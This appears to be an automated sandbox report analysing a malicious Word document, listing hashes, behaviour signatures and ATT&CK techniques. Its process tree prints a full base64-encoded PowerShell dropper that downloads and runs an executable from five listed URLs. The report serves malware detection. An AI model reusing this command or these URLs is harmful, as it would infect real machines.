Overview

overview

10

Static

static

8

SecuriteIn...06.doc

windows7_x64

10

SecuriteIn...06.doc

windows10_x64

10

Analysis

  • max time kernel
    140s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12176.26135.29106.doc

  • Size

    173KB

  • MD5

    3158d249b1df418410378fb0a8acc3d3

  • SHA1

    0b1a3f8ee1317f9001eaf098a8de861859d5ceac

  • SHA256

    774c827f086962222073ad050dfa5b10e8cc0411731e506edc4a0363f4a2815d

  • SHA512

    0405f10c425aee11beee75da01f14c1ec23b1a657e46469d42eef3a7af57fa01ad9c7912b0edbf5739cc9a9dc6e8e68978b5df264cb6bc053687bf0309dd3ad6

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.hatchdogs.com/assets/XIw/
exe.dropper

https://groovyboove.co.uk/blogs/8T94mmdka13/
exe.dropper

https://gregemerson.com/wp-includes/hudy17240/
exe.dropper

http://guariz.com.br/WuutjlO/
exe.dropper

http://hafder.com/images/fhq7h7babdbe5q5052/

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12176.26135.29106.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1044
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:1076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1044-2-0x0000000008920000-0x0000000008924000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1044-3-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1044-4-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1044-5-0x000000000A950000-0x000000000A954000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1044-6-0x000000000B9D0000-0x000000000B9D4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1044-7-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1044-8-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
    Filesize

    2.0MB

    Download